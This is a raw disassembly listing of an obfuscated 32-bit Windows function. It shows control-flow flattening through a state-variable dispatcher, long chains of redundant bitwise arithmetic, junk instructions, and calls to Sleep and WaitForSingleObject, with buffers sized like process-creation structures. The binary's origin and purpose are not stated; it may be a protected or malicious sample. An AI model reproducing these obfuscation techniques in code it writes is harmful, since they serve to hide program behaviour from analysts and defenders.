xor dh, 0xff
xor ah, 0xff
mov al, 1
xor al, 1
or dh, ah
or al, 1
xor dh, 0xff
and dh, al
mov bh, cl
xor bh, 0xff
and bh, 1
mov ah, 1
xor ah, 1
and cl, ah
mov al, 1
xor al, 1
and al, 0xff
and ah, 1
or bh, cl
mov cl, byte [ebp - 0x48e84]
or al, ah
xor bh, al
mov al, cl
xor al, 0xff
and al, 0
mov byte [ebp - 0x48e85], al
mov al, 1
xor al, 0
and cl, al
mov ah, bh
xor ah, 0xff
and ah, 0
and bh, al
mov al, byte [ebp - 0x48e85]
or al, cl
mov cl, byte [ebp - 0x48e84]
or ah, bh
xor al, ah
xor cl, 0xff
mov ah, al
xor ah, cl
and ah, al
mov al, ch
xor al, 0xff
and al, 1
mov bh, 1
xor bh, 1
mov cl, ch
and cl, bh
or al, cl
mov byte [ebp - 0x48e7a], al
mov al, dl
xor al, 0xff
and al, 0
mov byte [ebp - 0x48e83], al
mov bh, 1
xor bh, 0
mov cl, dl
and cl, bh
mov al, 1
xor al, 1
and al, 0
mov byte [ebp - 0x48e82], al
mov al, byte [ebp - 0x48e83]
and bh, 1
or al, cl
mov cl, byte [ebp - 0x48e82]
or cl, bh
xor al, cl
mov byte [ebp - 0x48e7f], al
mov al, 1
xor al, 1
and al, 1
mov byte [ebp - 0x48e81], al
mov bh, 1
xor bh, 1
mov cl, bh
and cl, 1
mov al, 1
xor al, 1
and al, 0xff
mov byte [ebp - 0x48e80], al
mov al, byte [ebp - 0x48e81]
and bh, 1
or al, cl
mov cl, byte [ebp - 0x48e80]
or cl, bh
mov bh, byte [ebp - 0x48e7a]
xor al, cl
mov byte [ebp - 0x48e77], al
xor bh, 0xff
mov cl, 1
xor cl, 1
mov al, 1
xor al, 0
or bh, cl
mov cl, byte [ebp - 0x48e77]
or al, 0
xor bh, 0xff
and bh, al
xor cl, 0xff
mov al, ch
xor al, cl
mov cl, byte [ebp - 0x48e7f]
and al, ch
mov byte [ebp - 0x48e7c], al
mov ch, cl
xor ch, 0xff
mov al, 1
xor al, 1
mov byte [ebp - 0x48e7e], al
mov al, 1
xor al, 1
mov byte [ebp - 0x48e7d], al
mov al, byte [ebp - 0x48e7e]
or ch, al
mov al, byte [ebp - 0x48e7d]
or al, 1
xor ch, 0xff
and ch, al
mov al, byte [ebp - 0x48e77]
mov byte [ebp - 0x48e7b], ch
xor dl, 0xff
xor al, 0xff
mov ch, 1
xor ch, 0
or dl, al
mov al, byte [ebp - 0x48e7c]
or ch, 0
xor dl, 0xff
and dl, ch
mov ch, bh
and ch, al
xor bh, al
mov al, byte [ebp - 0x48e7b]
or ch, bh
mov bh, al
and bh, dl
xor al, dl
or bh, al
mov al, ch
xor al, 0xff
mov dl, bh
and dl, al
mov al, byte [ebp - 0x48e7a]
xor bh, 0xff
and ch, bh
or dl, ch
mov byte [ebp - 0x48e71], dl
mov bh, al
xor bh, 0xff
mov byte [ebp - 0x48e76], bh
mov ch, cl
xor ch, 0xff
mov dl, 1
xor dl, 0
and bh, 0
and al, dl
mov byte [ebp - 0x48e79], al
mov al, ch
and al, 0
mov byte [ebp - 0x48e78], al
mov al, byte [ebp - 0x48e79]
and cl, dl
or bh, al
mov al, byte [ebp - 0x48e78]
or al, cl
mov cl, byte [ebp - 0x48e77]
xor bh, al
mov al, byte [ebp - 0x48e76]
or al, ch
xor al, 0xff
or dl, 0
and al, dl
or bh, al
mov al, bh
xor al, 0xff
and al, 1
mov ch, 1
xor ch, 1
and bh, ch
mov dl, 1
xor dl, 1
and dl, 0xff
and ch, 1
or al, bh
or dl, ch
xor al, dl
mov byte [ebp - 0x48e73], al
mov dl, 1
xor dl, 1
mov al, cl
xor al, 0xff
mov byte [ebp - 0x48e72], al
mov bh, 1
xor bh, 0
mov ch, dl
and ch, 0
mov al, bh
and al, 1
mov byte [ebp - 0x48e75], al
mov al, byte [ebp - 0x48e72]
and al, 0
mov byte [ebp - 0x48e74], al
mov al, byte [ebp - 0x48e75]
and cl, bh
or ch, al
mov al, byte [ebp - 0x48e74]
or al, cl
mov cl, byte [ebp - 0x48e73]
xor ch, al
mov al, byte [ebp - 0x48e72]
or dl, al
mov al, byte [ebp - 0x48e71]
xor dl, 0xff
or bh, 0
and dl, bh
or ch, dl
xor cl, 0xff
xor ch, 0xff
mov dl, 1
xor dl, 1
or cl, ch
or dl, 1
xor cl, 0xff
and cl, dl
mov ch, al
and ch, cl
xor al, cl
or ch, al
mov cl, ah
xor cl, 0xff
mov al, dh
xor al, cl
and al, dh
mov cl, dh
xor cl, 0xff
and cl, 0
mov bh, 1
xor bh, 0
and dh, bh
mov dl, ah
xor dl, 0xff
and dl, 0
and ah, bh
or cl, dh
or dl, ah
xor cl, dl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov al, ch
xor al, 0xff
and al, 1
mov ah, 1
xor ah, 1
mov cl, ch
and cl, ah
or al, cl
xor al, 0xff
xor al, 0
and al, 0
mov ah, 1
xor ah, 0
and ah, 1
mov cl, 1
xor cl, 1
and cl, 0
or ah, cl
mov dh, ah
xor dh, 0xff
mov cl, ch
xor cl, dh
and cl, ch
mov dh, dl
xor dh, 0xff
and dh, 1
mov bh, 1
xor bh, 1
mov ch, dl
and ch, bh
or dh, ch
mov bh, 1
xor bh, 0
mov ch, dh
xor ch, bh
and ch, dh
mov byte [ebp - 0x48e6d], ch
xor ah, 0xff
mov ch, dl
xor ch, ah
and ch, dl
mov dl, al
xor dl, 0xff
mov bh, cl
xor bh, 0xff
mov dh, 1
xor dh, 0
mov ah, dl
and ah, 0
and al, dh
mov byte [ebp - 0x48e70], al
mov al, bh
and al, 0
mov byte [ebp - 0x48e6f], al
mov al, byte [ebp - 0x48e70]
and cl, dh
or ah, al
mov al, byte [ebp - 0x48e6f]
or al, cl
mov cl, byte [ebp - 0x48e6e]
xor ah, al
mov al, byte [ebp - 0x48e6d]
or dl, bh
xor dl, 0xff
or dh, 0
and dl, dh
or ah, dl
mov dl, al
and dl, ch
xor al, ch
or dl, al
mov dh, ah
xor dh, 0xff
and dh, 1
mov ch, 1
xor ch, 1
and ah, ch
mov al, dl
xor al, 0xff
and al, 0xff
and dl, ch
or dh, ah
or al, dl
xor dh, al
mov bh, bl
xor bh, 0xff
and bh, 0
mov dl, 1
xor dl, 0
mov ah, bl
and ah, dl
mov al, 1
xor al, 1
and al, 0
and dl, 1
or bh, ah
or al, dl
xor bh, al
mov al, cl
xor al, 0xff
and al, 1
mov ah, 1
xor ah, 1
mov ch, cl
and ch, ah
mov dl, 1
xor dl, 1
and dl, 0xff
and ah, 1
or al, ch
or dl, ah
xor al, dl
mov byte [ebp - 0x48e67], al
mov ah, 1
xor ah, 1
and ah, 1
mov dl, 1
xor dl, 1
mov ch, dl
and ch, 1
mov al, 1
xor al, 1
and al, 0xff
and dl, 1
or ah, ch
or al, dl
xor ah, al
mov ch, bh
xor ch, 0xff
mov dl, 1
xor dl, 1
mov al, 1
xor al, 0
or ch, dl
or al, 0
xor ch, 0xff
and ch, al
xor bl, 0xff
mov al, ah
xor al, 0xff
mov dl, 1
xor dl, 0
or bl, al
mov al, byte [ebp - 0x48e67]
or dl, 0
xor bl, 0xff
and bl, dl
mov dl, 1
xor dl, 1
xor al, dl
mov dl, byte [ebp - 0x48e67]
and al, dl
mov byte [ebp - 0x48e6c], al
xor cl, 0xff
mov al, ah
xor al, 0xff
mov dl, 1
xor dl, 1
or cl, al
mov al, byte [ebp - 0x48e6c]
or dl, 1
xor cl, 0xff
and cl, dl
mov dl, ch
and dl, bl
xor ch, bl
or dl, ch
mov ch, al
xor ch, 0xff
mov byte [ebp - 0x48e69], ch
mov bl, cl
xor bl, 0xff
mov byte [ebp - 0x48e68], bl
mov bl, 1
xor bl, 1
and ch, 0xff
and al, bl
mov byte [ebp - 0x48e6b], al
mov al, byte [ebp - 0x48e68]
and al, 0xff
mov byte [ebp - 0x48e6a], al
mov al, byte [ebp - 0x48e6b]
and cl, bl
or ch, al
mov al, byte [ebp - 0x48e6a]
or al, cl
mov cl, byte [ebp - 0x48e69]
xor ch, al
mov al, byte [ebp - 0x48e68]
or cl, al
mov al, byte [ebp - 0x48e67]
xor cl, 0xff
or bl, 1
and cl, bl
or ch, cl
mov bl, dl
xor bl, 0xff
mov cl, ch
and cl, bl
xor ch, 0xff
and dl, ch
or cl, dl
mov byte [ebp - 0x48e64], cl
mov cl, bh
xor cl, 0xff
mov ch, al
xor ch, 0xff
mov dl, 1
xor dl, 1
mov bl, cl
and bl, 0xff
and bh, dl
mov byte [ebp - 0x48e66], bh
mov bh, ch
and bh, 0xff
and al, dl
mov byte [ebp - 0x48e65], al
mov al, byte [ebp - 0x48e66]
or bl, al
mov al, byte [ebp - 0x48e65]
or bh, al
mov al, byte [ebp - 0x48e64]
xor bl, bh
or cl, ch
xor cl, 0xff
or dl, 1
and cl, dl
or bl, cl
mov cl, bl
xor cl, 0xff
and cl, 1
mov ch, 1
xor ch, 1
and bl, ch
mov dl, 1
xor dl, 1
and dl, 0xff
and ch, 1
or cl, bl
or dl, ch
xor cl, dl
mov dl, ah
and dl, 1
xor ah, 1
or dl, ah
xor dl, 0xff
mov bh, cl
xor bh, dl
and bh, cl
mov dl, al
xor dl, 0xff
mov ch, bh
xor ch, 0xff
mov ah, 1
xor ah, 0
mov cl, dl
and cl, 0
and al, ah
mov bl, ch
and bl, 0
and bh, ah
or cl, al
mov al, byte [ebp - 0x48e63]
or bl, bh
xor cl, bl
or dl, ch
xor dl, 0xff
or ah, 0
and dl, ah
or cl, dl
mov dl, cl
xor dl, 0xff
and dl, 1
mov ch, 1
xor ch, 1
mov ah, cl
and ah, ch
or dl, ah
xor dl, 0xff
xor dl, 1
and dl, 0xff
mov ch, 1
xor ch, 1
and ch, 0
mov bl, 1
xor bl, 0
mov bh, bl
and bh, 1
mov ah, 1
xor ah, 1
and ah, 0
and bl, 1
or ch, bh
or ah, bl
xor ch, ah
xor ch, 0xff
mov ah, cl
xor ah, ch
and ah, cl
mov cl, dl
and cl, ah
xor dl, ah
or cl, dl
mov byte [ebp - 0x48e58], cl
mov dl, 1
xor dl, 0
and dl, 1
mov ah, 1
xor ah, 1
mov ch, ah
and ch, 0
mov cl, 1
xor cl, 1
and cl, 0xff
and ah, 1
or dl, ch
or cl, ah
xor dl, cl
mov ch, al
xor ch, 0xff
and ch, 1
mov cl, 1
xor cl, 1
and al, cl
or ch, al
mov bl, 1
xor bl, 0
and bl, 1
mov cl, 1
xor cl, 1
mov ah, cl
and ah, 0
mov al, 1
xor al, 1
and al, 0xff
and cl, 1
or bl, ah
or al, cl
xor bl, al
mov byte [ebp - 0x48e5c], bl
mov cl, 1
xor cl, 0
mov al, dl
xor al, cl
and al, dl
mov cl, 1
xor cl, 0
mov bh, bl
xor bh, 0xff
mov ah, 1
xor ah, 1
or cl, bh
or ah, 1
xor cl, 0xff
and cl, ah
mov byte [ebp - 0x48e62], cl
mov bh, ch
xor bh, 0xff
mov ah, 1
xor ah, 0
mov cl, 1
xor cl, 0
or bh, ah
mov ah, byte [ebp - 0x48e63]
or cl, 0
xor bh, 0xff
and bh, cl
mov cl, byte [ebp - 0x48e62]
mov byte [ebp - 0x48e5f], bh
xor bl, 0xff
mov bh, ah
xor bh, bl
and bh, ah
mov bl, al
xor bl, 0xff
xor cl, 0xff
mov byte [ebp - 0x48e5e], cl
mov cl, 1
xor cl, 1
mov byte [ebp - 0x48e5d], cl
mov ah, bl
and ah, 0xff
and al, cl
mov cl, byte [ebp - 0x48e62]
mov byte [ebp - 0x48e61], al
mov al, byte [ebp - 0x48e5e]
and al, 0xff
mov byte [ebp - 0x48e60], al
mov al, byte [ebp - 0x48e5d]
and cl, al
mov al, byte [ebp - 0x48e61]
or ah, al
mov al, byte [ebp - 0x48e60]
or al, cl
mov cl, byte [ebp - 0x48e5f]
xor ah, al
mov al, byte [ebp - 0x48e5e]
or bl, al
mov al, byte [ebp - 0x48e5d]
xor bl, 0xff
or al, 1
and bl, al
mov al, byte [ebp - 0x48e5c]
or ah, bl
mov bl, cl
and bl, bh
xor cl, bh
or bl, cl
mov bh, ah
xor bh, 0xff
mov cl, bl
and cl, bh
xor bl, 0xff
and ah, bl
or cl, ah
mov ah, dl
and ah, ch
xor dl, ch
or ah, dl
mov dl, ah
xor dl, 0xff
and dl, 1
mov ch, 1
xor ch, 1
and ah, ch
or dl, ah
mov byte [ebp - 0x48e59], dl
mov ah, 1
xor ah, 0
mov bl, al
xor bl, 0xff
mov ch, 1
xor ch, 0
mov dl, ah
and dl, 0
mov bh, ch
and bh, 0
mov byte [ebp - 0x48e5b], bh
mov bh, bl
and bh, 0
and al, ch
mov byte [ebp - 0x48e5a], al
mov al, byte [ebp - 0x48e5b]
or dl, al
mov al, byte [ebp - 0x48e5a]
or bh, al
mov al, byte [ebp - 0x48e59]
xor dl, bh
or ah, bl
xor ah, 0xff
or ch, 0
and ah, ch
or dl, ah
xor dl, 0xff
mov bh, al
xor bh, dl
and bh, al
mov dl, cl
xor dl, 0xff
mov ch, bh
xor ch, 0xff
mov ah, 1
xor ah, 1
mov al, dl
and al, 0xff
and cl, ah
mov bl, ch
and bl, 0xff
and bh, ah
or al, cl
mov cl, byte [ebp - 0x48e58]
or bl, bh
xor al, bl
or dl, ch
xor dl, 0xff
or ah, 1
and dl, ah
or al, dl
mov dl, al
xor dl, 0xff
and dl, 1
mov ah, 1
xor ah, 1
and al, ah
or dl, al
mov al, cl
xor al, 0xff
mov ch, dl
and ch, al
xor dl, 0xff
mov al, cl
and al, dl
or ch, al
xor ch, 0xff
xor cl, 0xff
mov al, 1
xor al, 1
or ch, cl
or al, 1
xor ch, 0xff
and ch, al
mov cl, dh
xor cl, 0xff
and cl, 1
mov dl, 1
xor dl, 1
mov al, dh
and al, dl
or cl, al
mov byte [ebp - 0x48e51], cl
mov ah, ch
xor ah, 0xff
and ah, 0
mov dl, 1
xor dl, 0
mov bl, ch
and bl, dl
mov al, 1
xor al, 1
and al, 0
and dl, 1
or ah, bl
or al, dl
xor ah, al
mov dl, 1
xor dl, 0
and dl, 1
mov bl, 1
xor bl, 1
mov bh, bl
and bh, 0
mov al, 1
xor al, 1
and al, 0xff
and bl, 1
or dl, bh
or al, bl
xor dl, al
mov bl, 1
xor bl, 0
mov al, cl
xor al, bl
and al, cl
mov bl, dl
xor bl, 0xff
mov cl, dh
xor cl, bl
and cl, dh
mov dh, ah
xor dh, 0xff
mov bh, 1
xor bh, 0
mov bl, 1
xor bl, 0
or dh, bh
or bl, 0
xor dh, 0xff
and dh, bl
mov byte [ebp - 0x48e54], dh
xor ch, 0xff
mov bl, dl
xor bl, 0xff
mov dh, 1
xor dh, 1
or ch, bl
or dh, 1
xor ch, 0xff
and ch, dh
mov byte [ebp - 0x48e55], ch
mov dh, al
xor dh, 0xff
mov bh, cl
xor bh, 0xff
mov bl, 1
xor bl, 1
mov ch, dh
and ch, 0xff
and al, bl
mov byte [ebp - 0x48e57], al
mov al, bh
and al, 0xff
mov byte [ebp - 0x48e56], al
mov al, byte [ebp - 0x48e57]
and cl, bl
or ch, al
mov al, byte [ebp - 0x48e56]
or al, cl
mov cl, byte [ebp - 0x48e55]
xor ch, al
mov al, byte [ebp - 0x48e54]
or dh, bh
xor dh, 0xff
or bl, 1
and dh, bl
or ch, dh
mov dh, al
xor dh, 0xff
mov byte [ebp - 0x48e50], dh
mov bh, cl
xor bh, 0xff
mov bl, 1
xor bl, 1
and dh, 0xff
and al, bl
mov byte [ebp - 0x48e53], al
mov al, bh
and al, 0xff
mov byte [ebp - 0x48e52], al
mov al, byte [ebp - 0x48e53]
and cl, bl
or dh, al
mov al, byte [ebp - 0x48e52]
or al, cl
mov cl, byte [ebp - 0x48e51]
xor dh, al
mov al, byte [ebp - 0x48e50]
or al, bh
xor al, 0xff
or bl, 1
and al, bl
or dh, al
mov bl, ch
xor bl, 0xff
mov al, dh
and al, bl
xor dh, 0xff
and ch, dh
or al, ch
mov dh, cl
and dh, ah
xor cl, ah
or dh, cl
mov cl, dh
xor cl, 0xff
and cl, 0
mov ch, 1
xor ch, 0
and dh, ch
mov ah, 1
xor ah, 1
and ah, 0
and ch, 1
or cl, dh
or ah, ch
xor cl, ah
mov ah, dl
and ah, 0
xor dl, 0
or ah, dl
xor cl, 0xff
xor ah, 0xff
mov dl, 1
xor dl, 0
or cl, ah
or dl, 0
xor cl, 0xff
and cl, dl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xd299f427
mov ecx, 0xad030d14
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x485ec], eax
jmp 0x41eecc
inc edx
rcl esi, 0x2d
sub edi, 0xd0
inc eax
inc edi
rol ebx, 0xea
neg edx
and edi, 0x6f
dec edx
mov ebx, 0xb6
dec esi
and edx, 0x85
imul eax
rol eax, 0x58
and eax, 0x1e
rcr eax, 8
add esi, 0x97
mov edi, 0x9a
inc ebx
rol edi, 0xc0
rcr ebx, 0xaf
sbb ebx, 0x77
neg esi
or eax, 0xd3
mov ebx, 0x9d
neg eax
rol eax, 0xd1
bswap eax
imul edx
and edx, 0xd3
imul esi
add edx, 0x11
sub esi, 0x17
add edx, 0xb6
rcr edi, 9
bswap edx
sbb ebx, 0x77
imul edi
mov ebx, 0xc0
dec edx
not ebx
inc edx
imul edi
or ebx, 0xb4
rcr eax, 0xb6
not ebx
add edi, 0xf0
inc esi
bswap ebx
ror esi, 0x70
imul edx
dec ebx
inc eax
and edi, 0xd8
neg edi
mov edx, 0xd0
rcl esi, 0xfa
neg edi
ror edx, 0x20
bswap edx
inc edx
add eax, 0xbe
dec edx
dec ebx
rcr ebx, 0x44
not eax
ror edi, 0xab
and esi, 0x95
bswap esi
rcl ebx, 0xab
neg edx
imul ebx
inc eax
not edi
sbb esi, 0xef
ror esi, 0x1c
neg edx
inc esi
mov edx, 0x41
ror ebx, 0x59
sub esi, 0x18
rol eax, 0x9f
not esi
bswap esi
not eax
bswap ebx
not esi
neg edi
rcl eax, 0x57
dec edi
ror eax, 0xaf
sub ebx, 0x42
imul esi
dec edi
imul edx
sub ebx, 0xdf
ror ebx, 0x86
not ebx
rcr esi, 0x86
dec ebx
mov eax, 0x3c
and eax, 0xfd
and edi, 0xbc
dec eax
not esi
rol eax, 0x42
rcr edx, 0xd8
bswap edx
dec eax
not edx
inc edx
dec edi
sub ebx, 0xa4
rol ebx, 0x9c
inc ebx
or eax, 0x10
rcr edi, 0x9d
sbb edi, 0xec
and esi, 4
imul edi
sbb esi, 0xfd
mov edx, 0xe4
rol eax, 0xba
not ebx
add edi, 0x15
imul edi
or edi, 0x23
ror edx, 5
mov esi, 0x49
inc edx
rol edi, 0xda
neg eax
bswap eax
bswap eax
ror edx, 0xa8
inc edi
inc edx
not edi
sub edx, 3
sbb edx, 0x2a
bswap ebx
ror esi, 3
ror edi, 0xc3
not eax
rcl edx, 0xb2
rcr eax, 0x84
dec edx
imul ebx
bswap ebx
ror esi, 0xbf
mov dword [ebp - 0x485c0], eax
mov eax, dword [ebp - 0x485d0]
mov dword [ebp - 0x48478], eax
mov eax, dword [ebp - 0x485cc]
add eax, 0x18
add eax, 0x10
mov dword [ebp - 0x48474], eax
mov ecx, dword [0x50d548]
mov eax, dword [0x50d544]
mov edx, ecx
add edx, 0x1baac5a
add edx, 0xe820f367
sub edx, 0x1baac5a
xor esi, esi
sub esi, edx
xor edx, edx
sub edx, 0x9569a291
add esi, edx
xor edx, edx
sub edx, esi
xor esi, esi
sub esi, 0xe820f367
add edx, esi
sub edx, 0x5075e3c8
add edx, 0xb936db04
add edx, 0x5075e3c8
add edx, 0xf8c4fd18
sub edx, 1
sub edx, 0xf8c4fd18
xor esi, esi
sub esi, 0xb936db04
add edx, esi
xor esi, esi
sub esi, edx
xor edx, edx
sub edx, 0x7c4fe4ef
add esi, edx
xor edx, edx
sub edx, esi
sub edx, 0x355b822f
sub edx, 0x9569a291
add edx, 0x355b822f
add edx, 0xb57409ad
sub edx, 0x7c4fe4ef
sub edx, 0xb57409ad
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
cmp eax, 0xa
setl dl
mov ah, dl
xor ah, 0xff
and ah, 0
mov ch, 1
xor ch, 0
mov dh, dl
and dh, ch
mov al, 1
xor al, 1
and al, 0
and ch, 1
or ah, dh
or al, ch
xor ah, al
mov al, cl
xor al, 0xff
mov bh, ah
and bh, al
xor ah, 0xff
mov al, cl
and al, ah
or bh, al
xor bh, 0xff
mov ah, cl
xor ah, 0xff
mov al, 1
xor al, 0
or bh, ah
or al, 0
xor bh, 0xff
and bh, al
mov ah, cl
xor ah, 0xff
and ah, 1
mov ch, 1
xor ch, 1
mov al, cl
and al, ch
or ah, al
xor ah, 0xff
mov al, dl
xor al, ah
and al, dl
mov ah, dl
xor ah, 0xff
and ah, 1
mov ch, 1
xor ch, 1
and dl, ch
or ah, dl
xor cl, 0xff
xor ah, 0xff
mov dl, 1
xor dl, 0
or cl, ah
or dl, 0
xor cl, 0xff
and cl, dl
mov ah, al
and ah, cl
xor al, cl
or ah, al
mov dh, bh
xor dh, 0xff
and dh, 0
mov cl, 1
xor cl, 0
mov dl, bh
and dl, cl
mov al, 1
xor al, 1
and al, 0
and cl, 1
or dh, dl
or al, cl
xor dh, al
mov byte [ebp - 0x48e8f], dh
mov ch, ah
xor ch, 0xff
and ch, 0
mov cl, 1
xor cl, 0
mov dl, ah
and dl, cl
mov al, 1
xor al, 1
and al, 0
and cl, 1
or ch, dl
or al, cl
xor ch, al
mov dl, 1
xor dl, 0
and dl, 1
mov cl, 1
xor cl, 1
mov bl, cl
and bl, 0
mov al, 1
xor al, 1
and al, 0xff
and cl, 1
or dl, bl
or al, cl
xor dl, al
xor dh, 0xff
mov cl, 1
xor cl, 0
mov al, 1
xor al, 0
or dh, cl
or al, 0
xor dh, 0xff
and dh, al
xor bh, 0xff
mov cl, dl
xor cl, 0xff
mov al, 1
xor al, 1
or bh, cl
or al, 1
xor bh, 0xff
and bh, al
mov al, ch
xor al, 0xff
mov cl, 1
xor cl, 0
mov bl, 1
xor bl, 1
or al, cl
mov cl, byte [ebp - 0x48e8f]
or bl, 1
xor al, 0xff
and al, bl
mov byte [ebp - 0x48e8e], al
xor ah, 0xff
mov al, dl
xor al, 0xff
mov bl, 1
xor bl, 0
or ah, al
mov al, byte [ebp - 0x48e8e]
or bl, 0
xor ah, 0xff
and ah, bl
mov bl, dh
and bl, bh
xor dh, bh
or bl, dh
mov dh, al
and dh, ah
xor al, ah
or dh, al
mov al, bl
xor al, 0xff
and al, 1
mov bh, 1
xor bh, 1
and bl, bh
mov ah, dh
xor ah, 0xff
and ah, 0xff
and dh, bh
or al, bl
or ah, dh
xor al, ah
mov ah, cl
and ah, ch
xor cl, ch
or ah, cl
mov cl, ah
xor cl, 0xff
and cl, 1
mov ch, 1
xor ch, 1
and ah, ch
or cl, ah
mov ah, dl
and ah, 0
xor dl, 0
or ah, dl
xor cl, 0xff
xor ah, 0xff
mov dl, 1
xor dl, 0
or cl, ah
or dl, 0
xor cl, 0xff
and cl, dl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xd299f427
mov ecx, 0x6d12a431
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x485ec], eax
jmp 0x41eecc
sub esp, 4
mov dword [esp], 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [ebp - 0x485ec], 0xbc8c1027
jmp 0x41eecc
mov eax, dword [ebp - 0x48570]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x48564]
mov edx, dword [ecx]
mov dword [eax], edx
mov ecx, dword [ecx + 4]
mov dword [eax + 4], ecx
mov dword [ebp - 0x485ec], 0x941947ac
jmp 0x41eecc
mov eax, dword [ebp - 0x48560]
mov eax, dword [eax]
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0xffffffff
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [ebp - 0x485ec], 0x22068f21
jmp 0x41eecc
mov eax, dword [ebp - 0x485c0]
mov dword [ebp - 0x48470], eax
mov dword [ebp - 0x485ec], 0x4c2f5c0a
jmp 0x41eecc
lea eax, [ebp - 0x48420]
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x10
call fcn.00498480
add esp, 0xc
lea eax, [ebp - 0x48464]
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x44
call fcn.00498480
add esp, 0xc
mov dword [ebp - 0x48464], 0x44
mov dword [ebp - 0x485ec], 0xdb2c342f
jmp 0x41eecc
mov dword [ebp - 0x485ec], 0x83993096
jmp 0x41eecc
mov dword [ebp - 0x485ec], 0xbf53cc0b
jmp 0x41eecc
mov eax, dword [ebp - 0x485ac]
mov eax, dword [ebp - 0x485a8]
mov dword [ebp - 0x485ec], 0xecae2597
jmp 0x41eecc
mov eax, dword [ebp - 0x484bc]
mov eax, dword [ebp - 0x484b8]
mov dword [ebp - 0x485ec], 0xf2e153b7
jmp 0x41eecc
mov edx, dword [ebp - 0x485d0]
mov eax, dword [ebp - 0x485d8]
mov ecx, dword [ebp - 0x48588]
imul ecx, dword [ecx], 0x28
add eax, ecx
mov ecx, dword [eax + 0xc]
xor eax, eax
sub eax, 0x8d239ef3
sub eax, edx
add eax, 0x8d239ef3
xor edx, edx
sub edx, 0xa4e32140
add edx, 0
add eax, 0x40de45ea
add eax, edx
sub eax, 0x40de45ea
mov esi, 0xd62f8f18
add esi, 0
sub esi, eax
sub esi, 0xd62f8f18
xor eax, eax
sub eax, ecx
add eax, 0
add esi, 0x588e4b30
sub esi, eax
sub esi, 0x588e4b30
sub esi, 0x426a5beb
sub esi, 0x75a8b093
add esi, 0x426a5beb
add esi, 0x54f58d7d
sub esi, 0xa4e32140
sub esi, 0x54f58d7d
sub esi, 0xdfa6f64a
add esi, 0x75a8b093
add esi, 0xdfa6f64a
mov eax, dword [ebp - 0x4858c]
mov ecx, dword [ebp - 0x4848c]
mov edx, dword [ebp - 0x48488]
sub esp, 0x10
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
call fcn.00401be0
add esp, 0x10
mov dword [ebp - 0x485ec], 0x73d663e6
jmp 0x41eecc
jmp 0x40237d